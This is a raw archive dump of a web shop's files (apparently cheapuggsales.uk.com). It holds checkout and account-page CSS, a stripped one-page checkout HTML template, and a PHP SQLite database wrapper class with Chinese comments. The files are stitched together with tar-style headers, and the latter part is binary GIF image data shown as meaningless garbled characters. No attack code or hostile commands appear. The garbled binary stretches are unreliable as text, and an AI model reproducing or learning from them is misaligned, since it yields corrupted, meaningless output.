#d9dde3; border-width:0 1px; padding:5px 30px; } .opc .checkout-agreements li { margin:20px 0 0; } .opc .checkout-agreements .agreement-content { background-color:#fff; border-color:#e4e4e4; padding:5px; } .opc .checkout-agreements .agree { padding-left:6px; } /* Centinel */ .centinel {} .centinel .authentication { border:1px solid #ddd; background:#fff; } .centinel .authentication iframe { width:99%; height:400px; background:transparent !important; margin:0 !important; padding:0 !important; border:0 !important; } .opc .centinel { border:1px solid #bbb6a5; border-width:0 1px 1px; padding:10px 30px; } /* Generic Info Set */ .info-set { background:#fbfaf6 url(../images/bkg_checkout.gif) 0 0 repeat-x; border:1px solid #bbb6a5; margin:0 0 25px; padding:20px; } .info-set h2 { font-size:13px; font-weight:bold; margin:0 0 10px; } .info-set h3, .info-set h4 { font-size:13px; font-weight:bold; color:#E26703; } .info-set h2 a, .info-set h3 a, .info-set h4 a { font-weight:normal; } .info-set h2.legend { margin:-20px -20px 15px; padding:5px 10px; background:#f9f3e3; border-bottom:1px solid #bbafa0; position:relative; } .info-set h3.legend { margin:0 0 10px; color:#0a263c; } .info-set .divider { margin:0 -20px; padding:25px 0; position:relative; } .info-set .box { margin:0 0 15px; } .info-set .box h2 { color:#e26703; } .info-set .data-table .product-name { font-size:1em !important; font-weight:bold !important; color:#1e7ec8 !important; } .info-set .data-table .product-name a { font-weight:bold !important; } .info-set .data-table .item-options { margin:5px 0 0; } /********** Common Checkout Styles > */ /* One Page Checkout */ .block-progress { border:0; margin:0; } .block-progress .block-title { background:none; border:0; padding:0; margin:0 0 5px; } .block-progress .block-title strong { font-size:13px; color:#0a263c; } .block-progress .block-content { background:none; } .block-progress dt { font-size:13px; font-weight:bold; line-height:1.35; background:#eee; border:1px solid #a3aeb3; margin:0 0 6px; padding:2px 8px; color:#999; } .block-progress dd { background:#eee; border:1px solid #a3aeb3; border-top:0; padding:8px 13px; margin:0 0 6px; } .block-progress dt.complete { margin:0; background:#d0dce1; color:#5e8ab4; } .block-progress dd.complete {} .block-progress p { margin:0; } .block-progress .cards-list dt { background:none; border:0 none; color:inherit; font-size:12px; margin:5px 0; padding:0; } .block-progress .cards-list dd { border:0 none; margin:0; padding:0; } .block-progress .cards-list .info-table th { font-weight:normal; } .opc .buttons-set { margin-top:0; padding-top:2em; } .opc .buttons-set p.required { margin:0; padding:0 0 10px; } .opc .buttons-set .back-link small { display:none; } .opc .buttons-set .back-link a { background:url(../images/i_arrow-top.gif) 0 50% no-repeat; padding-left:16px; } .opc .buttons-set.disabled button.button { display:none; } .opc .buttons-set .please-wait { height:21px; line-height:21px; } .opc .ul { list-style:disc outside; padding-left:18px; } .opc { position:relative; } .opc li.section {} .opc .step-title { border-width:0 1px; border-style:solid; border-color:#fff #d9dde3 #d9dde3; background:#eee url(../images/bkg_opc-title-off.gif) 0 100% repeat-x; padding:4px 8px 6px; text-align:right; } .opc .step-title .number { float:left; background:#fff; border:1px solid #fff; padding:0 4px; margin:0 5px 0 0; font:bold 11px/14px arial, helvetica, sans-serif; color:#999; } .opc .step-title h2 { float:left; margin:0; font:bold 13px/16px Arial, Helvetica, sans-serif; color:#999; } .opc .step-title a { display:none; float:right; font-size:11px; line-height:16px; } .opc .allow .step-title { background:#d0dce1; border:1px solid #a3aeb3; border-bottom:0; color:#a4b3b9; cursor:pointer; } .opc .allow .step-title .number { background:#dbe6eb; border-color:#dbe6eb; color:#a4b3b9; } .opc .allow .step-title h2 { color:#a4b3b9; } /*.opc .allow .step-title a { display:block; }*/ .opc .active .step-title { background:#f9f3e3; border:1px solid #bbafa0; padding-bottom:5px; color:#f18200; cursor:default; } .opc .active .step-title .number { background:#f18200; border-color:#f19900; color:#fff; } .opc .active .step-title h2 { color:#f18200; } /*.opc .active .step-title a { display:none; }*/ .opc .step { border:1px solid #bbafa0; border-top:0; background:#fbfaf6 url(../images/bkg_checkout.gif) 0 0 repeat-x; padding:15px 30px; position:relative; } .opc .step .tool-tip { right:30px; } #opc-login .buttons-set { border-top:0; } #opc-login h3 { font-size:13px; border-bottom:1px solid #e4e4e4; padding-bottom:2px; text-transform:uppercase; } #opc-login h4 { font-size:1em; font-weight:bold; margin:0; color:#2f2f2f; } #opc-shipping_method .buttons-set { border-top:0; } .opc .gift-messages-form { margin:0 -30px; background:#f6f1eb; border:1px solid #e9e4de; border-width:1px 0; padding:22px 24px 22px 30px; } .opc .gift-messages-form .inner-box { padding:5px; height:260px; overflow:auto; } #opc-review .step { border:0; padding:0; } #opc-review .product-name { font-weight:bold; color:#0a263c; } #opc-review .item-options { margin:5px 0 0; } #opc-review .buttons-set { padding:20px 30px; border:1px solid #d9dde3; border-width:0 1px 1px; } #opc-review .buttons-set p { margin:0; line-height:40px; } #opc-review .buttons-set .please-wait { height:40px; line-height:40px; } #opc-review .authentication { margin:0 auto; width:570px; } #opc-review .warning-message { color:#222; font-weight:bold; text-align:center; padding:10px 10px 0; } /* Multiple Addresses Checkout */ .checkout-progress { padding:0 90px; margin:0 0 20px; } .checkout-progress li { float:left; width:19%; margin:0 3px 0 0; border-top:10px solid #999; padding:2px 0 0; font-weight:bold; text-align:center; color:#abb5ba; } .checkout-progress li.active { border-top-color:#e96200; color:#e96200; } .multiple-checkout h2 { font-size:13px; font-weight:bold; margin:0 0 10px; } .multiple-checkout h3, .multiple-checkout h4 { font-size:13px; font-weight:bold; color:#E26703; } .multiple-checkout h2 a, .multiple-checkout h3 a, .multiple-checkout h4 a { font-weight:normal; } .multiple-checkout .data-table .product-name { font-size:1em !important; font-weight:bold !important; color:#1e7ec8 !important; } .multiple-checkout .data-table .product-name a { font-weight:bold !important; } .multiple-checkout .data-table .item-options { margin:5px 0 0; } .multiple-checkout .gift-messages { margin:15px 0 0; } .multiple-checkout .tool-tip { top:50%; margin-top:-120px; right:20px; } .multiple-checkout .col2-set, .multiple-checkout .col3-set { background:#fbfaf6 url(../images/bkg_checkout.gif) 0 0 repeat-x; border:1px solid #bbb6a5; margin:0 0 25px; padding:20px; } .multiple-checkout .col2-set h2.legend { margin:-20px -20px 15px; padding:5px 10px; background:#f9f3e3; border-bottom:1px solid #bbafa0; position:relative; } .multiple-checkout .col2-set h3.legend { margin:0 0 10px; color:#0a263c; } .multiple-checkout .col2-set .divider { margin:0 -20px; padding:25px 0; position:relative; } .multiple-checkout .box { margin:0 0 15px; } .multiple-checkout .box h2 { color:#e26703; } .multiple-checkout .place-order .please-wait { float:right; padding:27px 7px 0 0; } .multiple-checkout .place-order .grand-total { float:right; height:71px; font-size:1.5em; padding:0 0 0 21px; background:url(../images/bkg_grand-total.gif) 0 0 no-repeat; overflow:hidden; } .multiple-checkout .place-order .grand-total .inner { float:left; height:57px; padding:14px 21px 0 0; background:url(../images/bkg_grand-total.gif) 100% 0 no-repeat; } .multiple-checkout .place-order .grand-total .inner div { display:inline; } .multiple-checkout .place-order .grand-total big { display:inline; margin-right:12px; } .multiple-checkout .place-order .grand-total .price { color:#E26703; } .multiple-checkout .place-order .grand-total button.button span { font-size:16px; } .multiple-checkout .place-order .grand-total button.button span span { padding:0 45px 0 36px; } /* Step 1 */ .multiple-checkout .title-buttons button.button span { border-color:#406a83; background:#618499; } #multiship-addresses-table td { padding:10px; } #multiship-addresses-table tfoot td { padding:5px 10px; } #multiship-addresses-table tfoot button.button span { border-color:#406a83; background:#618499; } /* Step 2 */ .multiple-checkout .gift-messages-form .item .details .form-list { width:100%; overflow:hidden; } .multiple-checkout .gift-messages-form .item .details .form-list li { margin-right:-15px; } .multiple-checkout .gift-messages-form .item .details .form-list .field { width:230px; } .multiple-checkout .gift-messages-form .item .details .form-list .input-box { width:215px; } .multiple-checkout .gift-messages-form .item .details .form-list input.input-text { width:209px; } .multiple-checkout .gift-messages-form .item .details .form-list li.wide .input-box { width:445px; } .multiple-checkout .gift-messages-form .item .details .form-list li.wide textarea { width:439px; } .checkout-multishipping-shipping .box-sp-methods { border:1px solid #d9d2be; background:#f9f3e3; padding:13px; position:relative; } .checkout-multishipping-shipping .box-sp-methods .pointer { position:absolute; top:-20px; right:-40px; width:178px; height:41px; background:url(../images/bkg_sp-methods.gif) 0 0 no-repeat; overflow:hidden; } /* Step 3 */ .checkout-multishipping-billing .multiple-checkout { position:relative; } /* ======================================================================================= */ /* Account Login/Create Pages ============================================================ */ .account-login .content { min-height:240px; padding:14px 21px; background:#faf7ee url(../images/bkg_login-box.gif) 0 0 repeat-x; border:1px solid #bbb6a5; border-bottom:0; } .account-login .content h2 { font-weight:bold; font-size:13px; margin:0 0 14px; padding:0 0 5px 23px; border-bottom:1px solid #ddd; background-position:0 1px; background-repeat:no-repeat; text-transform:uppercase; color:#e76200; } .account-login .new-users h2 { background-image:url(../images/i_page1.gif)} .account-login .registered-users h2 { background-image:url(../images/i_page2.gif); } .account-login .buttons-set { border:1px solid #bbb6a5; border-top:0; margin:0; padding:8px 13px; background:#dee5e8 url(../images/bkg_buttons-set1.gif) 0 0 repeat-x; } .account-create {} /* Account Login/Create Pages ============================================================ */ /* My Account ============================================================================= */ .my-account .title-buttons .link-rss { float:none; margin:0; } /********** < Dashboard */ .dashboard .welcome-msg { margin:0 8em 1.5em 0; } .dashboard .welcome-msg p { margin:0; } .dashboard .col2-set { margin:0 0 15px; } /* General Box */ .box-account { background:#fff url(../images/bkg_account_box.gif) 0 0 repeat-x; border:1px solid #ccc; border-color:#ccc #999 #999 #ccc; padding:15px; margin: 0 0 20px; } .box-account .box-head { border-bottom:1px solid #d9dde3; margin:0 0 10px; text-align:right; } .box-account .box-head h2 { float:left; margin:0; font-size:13px; font-weight:bold; text-transform:uppercase; background-position:0 0; background-repeat:no-repeat; padding-left:21px; color:#e65505; } .dashboard .box .box-title { background:url(../images/bkg_divider1.gif) 0 100% repeat-x; padding:0 0 2px; margin:0 0 8px; text-align:right; } .dashboard .box .box-title h3, .dashboard .box .box-title h4 { float:left; font-size:13px; font-weight:bold; margin:0; } /* Block: Recent Orders */ .dashboard .box-recent .box-head h2 { background-image:url(../images/i_folder-table.gif); } /* Block: Account Information */ .dashboard .box-info .box-head h2 { background-image:url(../images/i_ma-info.gif); } .dashboard .box-info h4 { font-size:11px; font-weight:bold; text-transform:uppercase; } /* Block: Reviews */ .dashboard .box-reviews .box-head h2 { background-image:url(../images/i_ma-reviews.gif); } .dashboard .box-reviews .number { float:left; font-size:10px; font-weight:bold; line-height:1; color:#fff; margin:3px -20px 0 0; padding:2px 3px; background:#0a263c; } .dashboard .box-reviews .details { margin-left:20px; } .dashboard .box-reviews li.item { margin:0 0 7px; } .dashboard .box-reviews li.item.last { margin:0; } .dashboard .box-reviews .ratings { margin:7px 0 0; } /* Block: Tags */ .dashboard .box-tags .box-head h2 { background-image:url(../images/i_ma-tags.gif); } .dashboard .box-tags .number { float:left; font-size:10px; font-weight:bold; line-height:1; color:#fff; margin:3px -20px 0 0; padding:2px 3px; background:#0a263c; } .dashboard .box-tags .details { margin-left:20px; } .dashboard .box-tags li.item { margin:0 0 7px; } .dashboard .box-tags li.item.last { margin:0; } .dashboard .box-tags .tags strong, .dashboard .box-tags .tags ul, .dashboard .box-tags .tags ul li { display:inline; } /********** Dashboard > */ /* Address Book */ .addresses-list h2 { font-weight:bold; font-size:13px; color:#e26703; text-transform:uppercase; } .addresses-list h3 { font-weight:bold; font-size:13px; } .addresses-list address { margin:0 0 3px; } .addresses-list p { margin:0; } .addresses-list a { font-weight:bold; } .addresses-list .link-remove { color:#646464; } .addresses-list .separator { margin:0 3px; } .addresses-list li.item { background:#fff url(../images/bkg_account_box.gif) 0 0 repeat-x; border:1px solid #ccc; padding:10px 13px; margin:0 0 10px; } .addresses-list li.empty { background:none; border:0; padding:0; } .addresses-list li.empty p { font-weight:bold; } .addresses-list .addresses-additional li.item { background:none; border:0; padding:0; } /* Order View */ .order-info { background:#dee5e8; border:1px solid #d0cbc1; padding:4px 8px; margin:0 0 8px; } .order-info dt, .order-info dd, .order-info ul, .order-info li { display:inline; } .order-info .current { font-weight:bold; } .order-info li { margin:0 3px; } .order-date { margin:10px 0; } .order-info-box { background:#fff url(../images/bkg_block-title.gif) 0 0 repeat-x; border:1px solid #d0cbc1; padding:12px 15px; margin:0 0 15px; } .order-info-box h2 { font-weight:bold; font-size:13px; } .order-info-box .box-payment p { margin:0 0 3px; } .order-info-box .box-payment th { font-weight:bold; padding-right:7px; } .order-items { width:100%; overflow-x:auto; } .order-items h2, .order-items h3 { clear:none; font-weight:bold; font-size:13px; padding:0; margin:0 0 5px; color:#0a263c; } .order-items .product-name { font-size:1em !important; font-weight:bold !important; } .order-items .link-print { color:#1e7ec8; font-weight:normal; } .order-items .order-links { text-align:right; } .order-additional { margin:15px 0; } /* Order Gift Message */ .gift-message dt strong { color:#666; } .gift-message dd { font-size:13px; margin:5px 0 0; } /* Order Comments */ .order-about dt { font-weight:bold; } .order-about dd { font-size:13px; margin:0 0 7px; } .tracking-table { margin:0 0 15px; } .tracking-table th { font-weight:bold; white-space:nowrap; } .tracking-table-popup { width:100%; } .tracking-table-popup th { font-weight:bold; white-space:nowrap; } .tracking-table-popup th, .tracking-table-popup td { padding:1px 8px; } /* Order Print Pages */ .page-print .print-head { margin:0 0 15px; } .page-print .print-head .logo { float:left; } .page-print .print-head address { float:left; margin-left:15px; } .page-print h1 { font-size:16px; font-weight:bold; } .page-print h2, .page-print h3 { font-size:13px; font-weight:bold; } .page-print h2.h2 { font-size:16px; font-weight:bold; } .page-print .order-date { background:url(../images/bkg_divider1.gif) 0 100% repeat-x; padding:0 0 10px; margin:0 0 10px; } .page-print .col2-set { margin:0 0 10px; } /* Price Rewrites */ .page-print .gift-message-link { display:none; } .page-print .price-excl-tax, .page-print .price-incl-tax { display:block; white-space:nowrap; } .page-print .cart-price, .page-print .price-excl-tax .label, .page-print .price-incl-tax .label, .page-print .price-excl-tax .price, .page-print .price-incl-tax .price { display:inline; } /* My Wishlist */ .my-wishlist .data-table td { padding:10px; } .my-wishlist .product-image { display:block; width:113px; height:113px; margin:0 0 5px; } .my-wishlist textarea { display:block; width:97%; height:109px; } .my-wishlist .buttons-set { margin-top:2em; } .my-wishlist .buttons-set button.button { float:none; } .my-wishlist .buttons-set .btn-add span, .my-wishlist .buttons-set .btn-share span { border-color:#406a83; background:#618499; } #wishlist-table .add-to-links { white-space:nowrap; } /* My Tags */ .my-tag-edit { float:left; margin:0 0 10px; } .my-tag-edit .btn-remove { float:right; margin:4px 0 0 5px; } #my-tags-table { clear:both; } #my-tags-table td { padding:10px; } #my-tags-table .add-to-links { white-space:nowrap; } /* My Reviews */ #my-reviews-table td { padding:10px; } .product-review .product-img-box { float:left; width:140px; } .product-review .product-img-box .product-image { display:block; width:125px; height:125px; } .product-review .product-img-box .label { font-size:11px; margin:0 0 3px; } .product-review .product-img-box .ratings .rating-box { float:none; display:block; margin:0 0 3px; } .product-review .product-details { margin-left:150px; } .product-review .product-name { font-size:16px; font-weight:bold; margin:0 0 10px; } .product-review h3 { font-size:12px; margin:0 0 3px; color:#2f2f2f; } .product-review .ratings-table { margin:0 0 10px; } .product-review dt { font-weight:bold; } .product-review dd { font-size:13px; margin:5px 0 0; } /* Billing Agreements */ .billing-agreements .info-box{ margin:15px 0; } .billing-agreements .form-list li select { float:left; } .billing-agreements .form-list li button.button { float:left; margin-left:10px; } .billing-agreements .table-caption { font-weight:bold; font-size:13px; } /* ======================================================================================= */ /* Footer ================================================================================ */ .footer-container { border-top:15px solid #b6d1e2; } .footer { width:930px; margin:0 auto; padding:10px 10px 50px; } .footer .store-switcher { display:inline; margin:0 5px 0 0; color:#fff; } .footer .store-switcher label { font-weight:bold; vertical-align:middle; } .footer .store-switcher select { padding:0; vertical-align:middle; } .footer a { color:#fff; text-decoration:none; } .footer a:hover { text-decoration:underline; } .footer .bugs { margin:13px 0 0; color:#ecf3f6; } .footer .bugs a { color:#ecf3f6; text-decoration:underline; } .footer .bugs a:hover { text-decoration:none; } .footer address { margin:0 0 20px; color:#ecf3f6; } .footer address a { color:#ecf3f6; text-decoration:underline; } .footer address a:hover { text-decoration:none; } .footer ul { display:inline; } .footer ul.links { display:block; } .footer li { display:inline; background:url(../images/bkg_pipe2.gif) 100% 60% no-repeat; padding:0 7px 0 4px; } .footer li.last { background:none !important; padding-right:0 !important; } .footer-container .bottom-container { margin:0 0 5px; } /* ======================================================================================= */ /* Sample Data============================================================================ */ .home-callout { margin-bottom:12px; } .home-callout img { display:block } .home-spot { float:left; width:470px; margin-left:20px; } .best-selling h3 { margin:12px 0 6px 0; color:#e25203; font-size:1.2em; } .best-selling table { border-top:1px solid #ccc; } .best-selling tr.odd { background:#eee url(../images/best_selling_tr_odd_bg.gif) 0 100% repeat-x; } .best-selling tr.even { background:#fff url(../images/best_selling_tr_even_bg.gif) 0 100% repeat-x; } .best-selling td { width:50%; border-bottom:1px solid #ccc; padding:8px 10px 8px 8px; font-size:11px; } .best-selling .product-img { float:left; border:2px solid #dcdcdc; } .best-selling .product-description { margin-left:107px; line-height:1.3em; } .best-selling a.product-name, .home-spot .best-selling a.product-name:hover { color:#203548; } /* ======================================================================================= */ /* Clears ================================================================================ */ .clearer:after, .header-container:after, .header-container .top-container:after, .header:after, .header .quick-access:after, #nav:after, .main:after, .footer:after, .footer-container .bottom-container:after, .col-main:after, .col2-set:after, .col3-set:after, .col3-layout .product-options-bottom .price-box:after, .col4-set:after, .search-autocomplete li:after, .block .block-content:after, .block .actions:after, .block li.item:after, .block-poll li:after, .block-layered-nav .currently li:after, .page-title:after, .products-grid:after, .products-list li.item:after, .box-account .box-head:after, .dashboard .box .box-title:after, .box-reviews li.item:after, .box-tags li.item:after, .pager:after, .sorter:after, .ratings:after, .add-to-box:after, .add-to-cart:after, .product-essential:after, .product-collateral:after, .product-view .product-img-box .more-views ul:after, .product-view .box-tags .form-add:after, .product-view .product-shop .short-description:after, .product-view .box-description:after, .product-options .options-list li:after, .product-options-bottom:after, .product-review:after, .cart:after, .cart-collaterals:after, .cart .crosssell li.item:after, .opc .step-title:after, .checkout-progress:after, .multiple-checkout .place-order:after, .group-select li:after, .form-list li:after, .form-list .field:after, .buttons-set:after, .page-print .print-head:after, .advanced-search-summary:after, .gift-messages-form .item:after, .send-friend .form-list li p:after { display:block; content:"."; clear:both; font-size:0; line-height:0; height:0; overflow:hidden; } /* ======================================================================================= */ #currency-list li{float:right;clear:none; display:inline; margin:5px;}cheapuggsales.uk.com/cart_new/onepage.html0000777000000000000000000017052011634073740017711 0ustar rootroot Checkout
{var_logininfo}

Checkout

  1. 1

    Checkout Method

    Edit

    Checkout as a Guest or Register

    Register with us for future convenience:

    Register and save time!

    Register with us for future convenience:

    • Fast and easy check out
    • Easy access to your order history and status

    Login

    Already registered?

    Please log in below:

     

    * Required Fields

  2. 2

    Billing Information

    Edit
  3. 3

    Shipping Information

    Edit
  4. 4

    Shipping Method

    Edit
  5. 5

    Payment Information

    Edit
  6. 6

    Order Review

    Edit
{var_countrydefault} cheapuggsales.uk.com/cart_new/newsletterok.html0000777000000000000000000000240511634073725021020 0ustar rootroot newsletter
cheapuggsales.uk.com/cart_new/pdosqlite3.php0000777000000000000000000002144611634073744020213 0ustar rootrootgetMessage(); } exit; } //$this->init(); } /** * 设置debug开关 * * @static * @access public * @param boolean $switch 开关 */ static public function setDebug ($switch) { self::$debug = $switch; } /** * 发送查询 获取查询结果 * * @access public * @param string $sql SQL查询 * @return boolean|PDOStatement 查询结果 */ public function query ($sql) { $result = parent::query($sql); $this->queryList[] = $sql; if ('00000' != $this->errorCode() && self::$debug) { print_r($this->errorInfo()); } return $result; } /** * 发送查询 获取查询结果数组 * * @access public * @param string $sql SQL查询 * @param string $idx 数组索引字段 * @return boolean|array 查询结果 */ public function fetchAll ($sql, $idx = '') { //echo $sql."
"; $rows = $this->query($sql); if($rows) $rows=$rows->fetchAll(PDO::FETCH_ASSOC); else return array(); if ('' == $idx) { return $rows; } $map = array(); foreach ($rows as $row) { $map[$row[$idx]] = $row; } return $map; } /** * 发送查询 获取影响行数 * * @access public * @param string $sql SQL查询 * @return boolean|PDOStatement 查询结果 */ public function exec ($sql) { $result = parent::exec($sql); $this->queryList[] = $sql; if ('00000' != $this->errorCode() && self::$debug) { print_r($this->errorInfo()); } return $result; } /** * 发送查询 获取影响行数 * * @access public * @param string $sql 一组SQL查询 可以为分号(;)分割的字符串或者一个数组 * @param int $onFail 对执行查询失败的处理 * EXEC_ON_FAIL_BREAK 为中断处理 * EXEC_ON_FAIL_IRGNOR 为忽略失败继续执行 * EXEC_ON_FAIL_ROLLBACK 为回滚动作 * @param boolean $transaction 是否使用事务 在使用事务 * @return array 查询结果 * * 注意:当$onFail参数的值为EXEC_ON_FAIL_ROLLBACK的时候 $transaction参数会强制设置为true */ public function execMuti ($sql, $onFail = self::EXEC_ON_FAIL_BREAK, $transaction = false) { $report = array(); $transaction= self::EXEC_ON_FAIL_ROLLBACK === $onFail ? true : $transaction; $sql = is_string($sql) ? explode(';', $sql) : $sql; if ($transaction) { $this->beginTransaction(); } foreach ($sql as $query) { $affectRows = $this->exec($query); if (false === $affectRows && self::EXEC_ON_FAIL_BREAK === $onFail) { if ($transaction) { $this->commit(); } $report[$query] = $affectRows; return $report; } if (false === $affectRows && self::EXEC_ON_FAIL_ROLLBACK === $onFail) { $this->rollBack(); $report[$query] = $affectRows; return $report; } $report[$query] = $affectRows; } if ($transaction) { $this->commit(); } return $report; } /** * 获取查询列表 * * @access public * @return array 查询语句列表 */ public function getQueryList () { return $this->queryList; } /** * 对数据库结构进行初始化 * * @access public */ public function init() { $elements = $this->query("SELECT [name], [sql], [type] FROM [sqlite_master]")->fetchAll(PDO::FETCH_ASSOC); foreach ($elements as $element) { switch ($element['type']) { case 'table' : $this->tables[$element['name']] = new SQLiteTable($this, $element['name'], $element['sql']); break; } } } /** * 对数据库结构变动进行检查 如果不一致则更新操作 * * @access public * @param array $struct 数据库结构 * @return array 更改报告 */ public function refreshStruct ($struct) { $report = array(); foreach ($struct as $tableName => $tableStruct) { if (isset($this->tables[$tableName]) && !$this->tables[$tableName]->compareStruct($tableStruct)) { /** * 表存在且结构不一致 对表进行重建操作 */ $report[$tableName] = array('action' => 'rebuild'); $report[$tableName]['result'] = false !== $this->tables[$tableName]->rebuild($tableStruct) ? true : false; } elseif (!isset($this->tables[$tableName])) { /** * 表不存在 对表进行新建操作 */ $report[$tableName] = array('action' => 'build'); $this->tables[$tableName] = new SQLiteTable($this, $tableName, $tableStruct); $report[$tableName]['result'] = false !== $this->tables[$tableName]->build() ? true : false; } } return $report; } } class SQLiteTable { protected $db; //SQLiteDB对象 protected $sql = ''; //建表SQL protected $struct = array(); //表结构 protected $name = ''; //表名 /** * 构造函数 * * @access public * @param string $name 表名 * @param string|array $sql 建表SQL或结构 */ public function __construct ($db, $name, $sql = '') { $this->db = $db; $this->name = $name; if (is_array($sql)) { $this->struct = $sql; $this->sql = self::buildSQL($name, $sql); } else { $this->sql = $sql; $this->struct = self::buildStruct($sql); } } /** * 比较结构 * * @access public * @param array $struct 表结构 * @return boolean 表结构是否一致 */ public function compareStruct ($struct) { /** * @todo 验证规则 注意:经规则转换后的字符串有可能不是合法的建表查询 */ $replaceReg = array( '~\s*([,\[\]\(\)])\s*~' => " $1 ", //@todo 括号'()'和方括号'[]'前后统一替换为一个空格' ' '~[\[\]]~' => ' ', //@todo 方括号替换为一个空格' ' '~\s+~' => ' ', //@todo 所有空白合并为一个空格' ' '~;~' => '' //@todo 删除分号 ); return preg_replace(array_keys($replaceReg), $replaceReg, $this->sql) == preg_replace(array_keys($replaceReg), $replaceReg, self::buildSQL($this->name, $struct)); } /** * 新建表 * * @access public */ public function build () { return $this->db->exec(self::buildSQL($this->name, $this->struct)); } /** * 重建表 * * @todo 同旧结构进行比较 做出相应的修改 * @access public * @param array $newStruct 新表结构 */ public function rebuild ($newStruct) { $addColumns = array_diff(array_keys($newStruct), array_keys($this->struct)); $commonColumns = array_intersect(array_keys($newStruct), array_keys($this->struct)); /** * @todo 验证是否删除字段 * @todo 注意:如果有需要删除的字段会开始事务 建两次表 删除两个表 导两次数据 请慎用! */ if (count( array_diff( array_keys($this->struct), array_keys($newStruct) ) )) { $commonFieldSQL = '['.implode('],[', $commonColumns).']'; $this->db->beginTransaction(); $this->db->exec(self::buildSQL("{$this->name}_backup", $newStruct, true)); $this->db->exec("INSERT INTO [{$this->name}_backup] ({$commonFieldSQL}) SELECT {$commonFieldSQL} FROM [{$this->name}]"); $this->db->exec("DROP TABLE [{$this->name}]"); $this->db->exec(self::buildSQL("{$this->name}", $newStruct)); $this->db->exec("INSERT INTO [{$this->name}] ({$commonFieldSQL}) SELECT {$commonFieldSQL} FROM [{$this->name}_backup]"); $this->db->exec("DROP TABLE [{$this->name}_backup]"); $this->db->commit(); $this->db->exec('VACUUM'); } elseif(count($addColumns)) { foreach ($addColumns as $columnName) { $this->db->exec("ALTER TABLE [{$this->name}] ADD COLUMN [{$columnName}] ".$newStruct[$columnName]); } } return true; } /** * 构造建表SQL * * @static * @access public * @param string $tableName 表名 * @param array $struct 表结构 * @param bool $temporary 是否是临时表 * @return string 建表SQL */ static public function buildSQL ($tableName, $struct, $temporary = false) { $buffer = array(); foreach ($struct as $fieldName => $definition) { $buffer[$fieldName] = "{$fieldName} {$definition}"; } $tempSQL = $temporary ? ' TEMPORARY' : ''; return "CREATE{$tempSQL} TABLE {$tableName} (".implode(', ', $buffer).')'; } /** * 构造表结构 * * @static * @access public * @param string $sql SQL语句 * @return array 表结构 */ static public function buildStruct ($sql) { $struct = array(); foreach(explode(',', preg_replace('~^[^(]+\((.+)\)$~s', "$1", $sql)) as $definition) { $definition = trim($definition); preg_match('~([^ ]+) (.+)~', $definition, $matchClips); $struct[$matchClips[1]] = $matchClips[2]; } return $struct; } } ?> cheapuggsales.uk.com/cart_new/images/0000777000000000000000000000000011633550313016635 5ustar rootrootcheapuggsales.uk.com/cart_new/images/bkg_tfoot.gif0000777000000000000000000000007711634073470021316 0ustar rootrootGIF89a!,B ;cheapuggsales.uk.com/cart_new/images/btn_trash.gif0000777000000000000000000000120311634073475021321 0ustar rootrootGIF89agƱ׌rrrhhhºɹǼ̗gggnnnxxx~~~kkk꾾fff򴴴yyy|||qqqoooՒppptttuuulll!g,gg*X &egb']?%/$M.Y0 f"=Z_BJfff Dfc`^!$@ 1RgF # ,;7g+f&P Ig%+*f8 -C\ @2:8/ )g c[N᠈3 L5x@%DAO( +RTБCà#L @C281@Ē*0P:;cheapuggsales.uk.com/cart_new/images/bkg_main2.gif0000777000000000000000000007741411634073464021205 0ustar rootrootGIF89a!,Gq2@*$iA\,hyx!D9:\h#B|dr#ʊ(#h̃.Q#˓5:th'C,X(ç5I>(4TEN'Fs 4QEi52Ud%t*P,X 7Z߿ [`KÆ.̸@ǏK|xÆ2k̦Ś`R +`vb/dmlr旬o+Vz xdƍYJsΙ/.xu? kv޹g^ѫW_>}c'㯿_<}'8{g z-`{}ם}Uxz`mȒ_"j$袈!/8$ڈ:X>$>&`K*P*vdPFY8XfYfq4`y1ffk-暷f-Ftp%矀*'ݠj衈&袌6裐F*餔Vj饘f(Qv駠*ꨤjꩨꪬ꫰ʪdN2f$bI>ba($LIe( }]ډ)Ͽ3̗Y o[ZH~q; @(|d ^0rR`%1[ !sP/ LI eH:Ցuٲ0:a#6Gl'܍Nm~'){X̢.z` Ѕ2fgLGpѨ5rlcxG=1|T#GB摍|c GD~tc"GC|IHK"ҒtdmFMRr4d'Pbjd9Z:I|R.B khbNYCf0e3'hݙNAjQSSl#n SІrÜL:~'Yg2ن۔3Tg>rǞ$>9zdAr&4 ; тV9s>ԠEOzRh4cjRSM۲Cl-@™y}' ʽbT/|7_?8=}ߛW)q7؇;'L [ΰ7{ G`i%oO I0$PLTPDf2%f츙!5i]jn]# 䓔y͈z2rN.}pA-C~6ujէQ P:ָ6uuRլεGN;.6GkV5kCR浧=[żU1;,]71 78<$MM6E;`ک_oN89'ͧZZ'vRy/fBSt%f/goB>07$hgO|28Wzܧsvvǥ699sU3g.yV:\E$Φp-<ǽ mK~{Il/XO<^xW;13wO 5qE ~qcfLctSn(&Z:fNG7vو7w6;ЏO[Ͼ{_plW{-xū_^] ^ѿ]xwxyVm~XGkWxgFGn hb260fnfcånb g n1DMa&Efd"|os|Ǘ|}DXFxHJL؄vR8TXVxXXy`y_`y FfzB{cXb{{;L?{7PMfd&IM܅dLMdDN䄌؈8~Zx؉Uh[z/z.(X9*\F`RNi9ͨa9 fTB S[ L Ny^IeJYyrIeɔmIohfٖ:I 09 8 `n @c \I vX 9~X8DX;Kd +ypKF9YGʹɜ0 Љ YYИY0zwz YLI%c{99p  w)lP; z'isb:ZؕxyKyRٕ}xI%9&G9pʗGcI/; >ڢ$(V.<'p٤)Jڢ2ڡ9:2ZNɘ^/.昏.Fhjjjn٦i9߸Lgr`yx @M*Uo&&hٜzZH)ژ꩟*cZh& 'oʂXn z} 鎃&*orz:ڬ 6):Zzؚںڭ:ZA誘4昨zd hJkjjڑT{*7Jdk2 Hv[8PPaiɱWa_IB" j\Y"["kh\ /Sia7!{>۲6,`Y G[H˴ 064:9nڦ) cgr:{g2 zj;ٶ]o{v||w{䢷ΧuoO;ۃ~˷u }K{/oK'%}۷ѹ K뷡+۷˗۸+$^&ɭ˽nפ9x݄L PmM۫}⫶-F~MA䱁ۜ=MEJnK>KI.R~[CeH>响f.T>gep^^O~Lw~crX.H~Qb^{Ve}~阞階),.2N4o㧠 ? ; . &*JܣLNUZSj{lʢay,DwP |.NTmڦm66'nk; OM 9D >&?> ݯ ߍH 7D7󉝎;}[8!̾XN/JK)BJCiJX?X [_`_hI֊*f?ec$j[sZN0W/vwO#^_}&ϼ02;_7<د>뵘d腞1xCEJF.- 